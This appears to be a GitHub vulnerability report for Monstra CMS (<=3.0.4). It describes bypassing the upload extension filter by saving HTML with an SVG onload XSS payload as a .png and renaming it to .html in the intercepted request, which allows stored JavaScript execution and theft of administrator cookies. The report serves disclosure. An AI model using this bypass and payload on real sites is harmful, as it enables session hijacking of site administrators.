bypassed extension filter in uploading process different before

Brief of this vulnerability There are many suffix names such as PHP and HTML in uploading files, but the following methods can bypass file restrictions, upload malicious HTML types and execute arbitrary JS code Test Environment php7.0.7+apache Affect version <=3.0.4 Payload 1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login 2 Save html codes with '.png' extensions. and upload it like below.

<html> 
    <head> 
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title> 
    </head> 
    <body> 
     <svg/onload=alert(document.cookie)>
    </body> 
</html>

3 Click the uploaded file name and Grab the packet and change the suffix name to XXX"".html at filename，This circumvents this limitation. 4 move to http://[address]:[port]/[app_path]/public/uploads/[uploaded file] You can see that you executed HTML and JS code，If you access this file, you can get the administrator's cookie and execute any JS code the details of these vulnerabilities to see http://test.lingdong.store/2019/10/12/Bypass-the-HTML-file-suffix-restriction-when-uploading-files/

monstra-cms / monstra

bypassed extension filter in uploading process different before #461